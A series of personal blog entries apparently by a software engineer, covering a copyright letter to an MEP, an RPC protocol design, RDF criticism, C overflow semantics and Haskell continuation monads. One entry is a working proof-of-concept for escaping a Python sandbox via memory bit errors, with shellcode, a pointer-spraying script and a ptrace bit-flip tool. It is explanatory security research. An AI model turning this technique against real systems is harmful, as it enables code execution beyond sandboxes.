Imperialviolet

Entry 578

Fri, 10 Apr 2009 01:20:59 UTC

I'll be at CodeCon this year.

Entry 577

Tue, 22 Jan 2008 18:34:53 UTC

Maybe there's something to this democracy lark after all:

You will be pleased to know that this amendment was deleted from the
voting list, thus we did not vote on it. The price of liberty is eternal
vigilance!

That's from Thomas Wise. Now I'm not a fan of UKIP - but I'm quite happy with this.

Also, see comments on the BoingBoing story about this win

Entry 576

Mon, 21 Jan 2008 17:52:04 UTC

I've had a section here called Letters I've written to my MP for ages. I've not really had an MP for a while now so it's dried up a little. But fear not, stupidity hasn't left politics! Danny from the EFF alerts us to more stupidity (stupidity in bold) from the EU. However, I don't have time to get a physical letter there before the vote, so an email will have to do.

Dear Sir,

I find myself dismayed to read the proposed amendments, numbered 80 and 82 (paragraph 9a) in the Guy Bono report which I believe comes to the vote on Tuesday. This text is replete with misunderstandings which are sadly all too common.

Amendment 80 proposes legislative action to put the burden of copyright infringement on Internet Service Providers by compelling them to use filtering technologies. Thankfully I don't need to hypothesise about the consequences of this since this experiment has already been attempted in the United States in the 1998 Digital Millennium Copyright Act (DMCA). Despite protections which are probably in excess of what the proposers of this amendment would consider reasonable, the DMCA has lead to a culture of censorship where risk-adverse ISPs are quick to remove any claimed potential liability and then have no incentive to consider to revise this decision. As a short example, the Church of Scientology has repeatedly[1] used the DMCA to hamper the work of those claiming that it's a dangerous cult - a view shared by the German government for one.

Amendment 82 shows a gross misunderstanding of copyright law as demonstrated by language like "artists who risk seeing their work fall within the public domain in their lifetime" and "consider the competitive disadvantage posed by less generous protection terms in Europe than in the United States". Both of these notions should have been put to rest by the generally excellent Gowers report[2]. The public domain is not a risk. Copyright is very much a temporary monopoly and the public domain is the expected, and correct, fate of copyrighted works. Gowers also notes that artists hardly benefit from the current excessive copyright term let alone a even longer one. Also, the competitive advantage is that foreign rightsholders earn more by charging EU citizens for longer. The advantage exists, but it's not to the EU citizen.

Please do your utmost to remove these paragraphs from the final report and thus save the CULT committee from ridicule.

Thank you.

Yours,

Adam Langley

[1] http://www.politechbot.com/p-03281.html
[2] http://www.hm-treasury.gov.uk/independent_reviews/gowers_review_intellectual_property/gowersreview_index.cfm

Entry 575

Mon, 21 Jan 2008 04:53:48 UTC

I'm currently writing an RPC layer in Haskell (and also in C since I expect that I'll need it). I'm using libevent's tagged datastructures (which is why you've see Haskell support for that from me), however I'm not using evrpc because of a number of reasons. Firstly, it uses HTTP as a transport. What troubles me about using HTTP directly as a transport layer is the in-order limits that it imposes. The server cannot deliver replies out of order, nor can it deliver multiple replies for a single request (at least, not with replies to other requests mixed in), nor can it send any unsolicited messages (e.g. lame-mode messages).

Also, evrpc has no support for lameness, although that's fixable (modulo the HTTP issues). Because of all that I decided to roll my own, called RPCA (because I'm not sufficiently self-centered just to call it Network.RPC ). I'm including part of the RPCA documentation below for comments.

RPCA Semantics

RPCA is an RPC system, but that's a pretty loose term covering everything from I2C messages to SOAP. So this is the definition of exactly what an RPCA endpoint should do.

RPCA RPCs are request, response pairs. Each request has, at most, one response and every response is generated by a single request. That means, at the moment, so unsolicited messages from a server and no streaming replies.

RPCs are carried over TCP connections and each RPC on a given connection is numbered by the client. Each RPC id must be unique over all RPCs inflight on that TCP connection. (Inflight means that a request has been send, but the client hasn't processed the reply yet.) A reply must come back over the same TCP connection as the request which prompted it. If a TCP connection fails, all RPCs inflight on that connection also fail.

An RPC request or reply is a pair of byte strings. The first is the header, which is specific to RPCA. The only part of the header which applications need be concerned with is the error code in the reply header. The second is the payload (either the arguments in the case of a request, or the result in the case of a reply). This may be in any form of the applications' choosing, but it expects that it'll be a libevent tagged data structure.

An RPC is targeted at a service, method pair. A server can export many services but each must have a unique name on that server. (A server is a TCP host + port number.) Each service can have many methods, the names of which need only be unique within that service.

A Channel is an abstract concept on the client side of a way of delivering RPCs, and getting the replies back from a given server, service pair. It's distinct from a connection in that a Channel can have many connections (usually only one at a time, though) and that a Channel targets a specific service on a server.

On a given server a service may be up, lame or down. There's no difference between a service which is down and a service which a server doesn't export. Services which are lame are still capable of serving requests, but are requesting that clients stop sending them because, for example, the server is about to shutdown. When a service becomes lame it sends special health messages along all inbound connections to the server, so that clients may be asynchronously notified. (Note that health messages aren't RPCs so this doesn't contradict the above assertion that there are no unsolicited RPC replies.)

If a Channel is targeted at a single server, service pair, then it's free to assume that the service is immediately up. If not, the server will set the error code in the RPC replies accordingly. If a Channel is load-balancing (i.e. is has multiple possible servers that a request could be routed to) it must wait to perform a health check before routing any requests to any server. A load-balancing Channel stops routing requests to any servers which report lameness.

Note that lameness is a per-service value so that some services on a server may be lame with others are up.

Entry 574

Sun, 20 Jan 2008 21:55:45 UTC

Recent Haskell work:

Entry 573

Fri, 18 Jan 2008 19:07:37 UTC

So it's been really very quiet here for a while. Actually, it's been pretty much that way since I started at Google. A full time job takes up quite a lot of time and energy.

Mostly my outside coding efforts have been going into Hackage recently (think of it as the Haskell CPAN). If this work would interrest you, you probably already know about it.

But what prompted me to write this was yet more about the semantic web. I think TBL's Weaving the Web and some of the various articualtions are inspiring. Freebase is cool.

But I still don't know when the RDF model became the start and end of semantic work. The RDF model says that the semantic world is a list of (subject, relation, object) triples. There are a bunch of semi-standards building on top of that, but I see little questioning of that basic model.

But it just plain doesn't make sense to me. If we consider a triple to be an arc in a graph of objects, we know the starting and end points of the arc and we have the type of the arc (the relation). But I want to know over what time period that arc is valid. The triple (Adam Langley, lives-in, London) was valid for a few years but isn't now. Also I want to know who is asserting this arc, how sure are they etc. Maybe I want to say that someone has at-least some number of children.

This results a model something like [Arc] (getting back to Haskell here) where an arc is [(Attribute, Value)] (a key-value list). Without a start, end and type the arc is pretty much useless I'll admit, so those probably are required, but arcs need so much more.

Rant over.

Entry 572

Fri, 11 Jan 2008 22:29:58 UTC

For reasons that I won't go into here, someone was asking me about running untrusted code in Python. Just as a musing, I came up with the following:

Although you might be able to lock down a Python interpreter so that it wouldn't run any code that could do anything bad, you still have to remember that you're running on a real computer. All real computers go subtly wrong and introduce bit errors in memory. If you're very lucky, you'll find that your server has ECC memory, but that only reduces the number of bit errors.

A Python object has a common header which includes a pointer to its type object. That, in turn, contains function pointers for some operations, like getattr and repr. If we have a pointer to a Python object, bit errors can move that pointer back and forth in memory. If we had lots of Python objects with payloads of pointers to a fake type object, we could hope that a bit error would push one of the pointers such that we can control the type object pointer.

Let's start with a bit of position independent code that prints "woot" and exits the process:

  SECTION .text
  BITS 32
  mov edx, 5
  mov ebx, 1
  call next
  next:
  pop ecx
  add ecx, 21
  mov eax, 4
  int 0x80
  mov eax, 1
  int 0x80
  db "woot", 10

Nasm that to t.out and we have our shellcode. Next, construct a python script that amplifies bit errors in an array of pointers in an expliot:

  import struct
  import os
  import array

  # load the shellcode
  shellcode = file('t.out', 'r').read()
  # put it in an array
  shellarray = array.array('c', shellcode)
  # get the address of the array and pack it in a pointer
  shelladdress = struct.pack('I', shellarray.buffer_info()[0])
  # replicate that pointer lots into an array
  eviltype_object = array.array('c', shelladdress * 100)
  # and get the address of that and replicate into a string
  evilstring = struct.pack('I', eviltype_object.buffer_info()[0]) * 100
  # create lots of pointers to that string
  evillist = [evilstring] * 100000
  print os.getpid()
  # Call the repr function pointer for every element in evillist for ever
  while True:
    for x in evillist:
      repr(x)
      print 'ping'

So, memory looks like this:

[pointer pointer pointer ...] | | | V V V [String-header pointer pointer pointer] | | | V V V [pointer pointer ... ] | | V V [shellcode ]

So the size of the first level gives us a window in which bit errors can turn into exploits. The size of the second level lets us capture more bit errors (we could also have a couple of strings, in the hope that they are next to each other on the heap, so that we can catch bit-clears too). How many bits of each 32-bit pointer can we expect to be useful? Well, it's probably reasonable to have a 128K evilstring, so that's 15 bits (since changing bits 0 and 1 will screwup our alignment). So, about half of them. To test the above, I cheated and wrote a bit-error-generator:

int main(int argc, char **argv) {
    const int pid = atoi(argv[1]);
    const unsigned start = strtoul(argv[2], NULL, 0);
    ptrace(PTRACE_ATTACH, pid, NULL, NULL);
    wait(NULL);
    long v = ptrace(PTRACE_PEEKDATA, pid, (void *) start + 32, NULL);
    v += 32;
    ptrace(PTRACE_POKEDATA, pid, (void *) start + 32, (void *) v);
    ptrace(PTRACE_DETACH, pid, NULL, NULL);
    return 0;
}

And here's the output:

% python test.py
  0x80633f8
  30911
  0xB7C24F0CL
  ping
  ping
  woot

Success!

Entry 571

Fri, 23 Nov 2007 22:05:12 UTC

If you happen to want to run industrial scale document scanners under Linux, I've just open sourced the (small) driver that you'll need: kvss905c on Google Code.

Entry 570

Wed, 10 Oct 2007 16:26:08 UTC

Signed numbers don't overflow in C

The title of this post is clearly daft; signed numbers are of a finite size so, of course they overflow. However, physical reality doesn't agree with the C standard which says that compilers can (and do) assume that overflow never happens. Take this, for example:

int a, b;
if (a > 0 && b > 0 && a + b > 0) foo();

A compiler can remove the third test because it's redundant given the assumptions that a + b cannot overflow.

Clearly, this is pretty scary stuff and it's one of the reasons that I use unsigned everywhere. However, I'm very happy to read the GCC 4.2 change log to see the following:

New command-line options -fstrict-overflow and -Wstrict-overflow have been added... With -fstrict-overflow, the compiler may assume that signed overflow will not occur, and transform this into an infinite loop. -fstrict-overflow is turned on by default at -O2, and may be disabled via -fno-strict-overflow. The -Wstrict-overflow option may be used to warn about cases where the compiler assumes that signed overflow will not occur. It takes five different levels: -Wstrict-overflow=1 to 5. See the documentation for details. -Wstrict-overflow=1 is enabled by -Wall.

Entry 569

Thu, 05 Jul 2007 15:48:40 UTC

Continuation monads for state machines

CPS (continuation-passing-style) is a code style which is often the result of the first step in compiling many Scheme like languages. Since I learned this stuff in Scheme, that's what I'm going to use in the beginning, switching to Haskell soon after.

So here's a top level Scheme program

(print (fact 10))

Rather than return, each function gets a function in its argument list which is its continuation. It's the function for the rest of the program which takes the result of the current function. It's always a tail-call.

(fact 10 (lambda (v) print v #exit#))

So here, fact runs and calls its continuation with the result. This continuation is a function which prints the value and calls its continuation, which terminates the program.

Easy, right?

So here's a continuation monad in Haskell; but a quick motivation first. What this will give us is something like a Python generator, but which we can pass values in to. So it's a state machine, but without the inverted flow of control and without threads.

newtype M o a = M ((a->o)->o)
nstance Monad (M o) where
  return x = M (\c -> c x)
  (M g)>>=f = M (\c -> g (\a -> let M h = f a in h c))

Here, o is the output type (the type of the values which are yielded) and a is the input type. The monad itself is a wrapper around a function of type ((a->o)->o) - a function which takes a continuation and returns the output type of that contination. The bind method is pretty scary, but I can't explain it any better here than the code already does - I'll just end up using more letters to say the same thing. (I have to work it through every time I read it anyway.)

Now we need a couple of helper functions, but first the example: we're going to build a lightswitch which takes three commands: set (with an Bool value), toggle and query:

data Result a = NewState (a->Result a) | Value Bool (a->Result a) | Final
data Input = Set Bool | Toggle | Query

So all our commands have to yield a value of type Result, querying will return a Value and the other two will return a NewState (which isn't really a result, it just gives the new continuation of the system). Final is there to be the value marking the end of the stream (it doesn't contain a next continuation).

yield x = M (\c -> Value x c)
wait = M (\c -> NewState c)

These functions are how we yeild values. Both are values in M which take a continuation and return a Result which passes that continuation back to the caller.

runM cm = \x -> let (M f) = cm x in f (\c -> Final)

This is a function which takes a first input, applies it to something which results in a continuation monad, unwraps that monad and gives it the final continuation, one which eats its given contination and gives Final

lightswitch state v = do
  case v of
    Set state -> wait >>= lightswitch state
    Toggle -> wait >>= lightswitch (not state)
    Query -> yield state >>= lightswitch state

This is our lightswitch, it takes an initial state and an Input and updates its state accordingly and returns some Result using either yield or wait. It recurses forever.

step cont = do
  line <- getLine
    case line of
	"toggle" -> case cont Toggle of NewState cont' -> step cont'
    	"query" -> case cont Query of Value x cont' -> putStrLn (show x) >> step cont'
	otherwise -> putStrLn "?" >> step cont

Here's the code that uses the state machine. It's in the IO monad and runs a little command line where you can type in commands and see the results:

toggle
query
True
toggle
query
False

It takes a continuation (which is the state of the state machine) and applies an Input to it to get another continuation (state of the machine). You can, of course, keep around any of these states and "undo" something by using an older state.

And to tie it all together:

main = step $ runM $ lightswitch False

We pass False as the initial state of the system and use runM to stick the final continuation on the end; then we have a continuation for the state machine and off we go.

Hopefully that made some kind of sense. To give credit where it's due: I stole the bind method (and motivation) from this paper.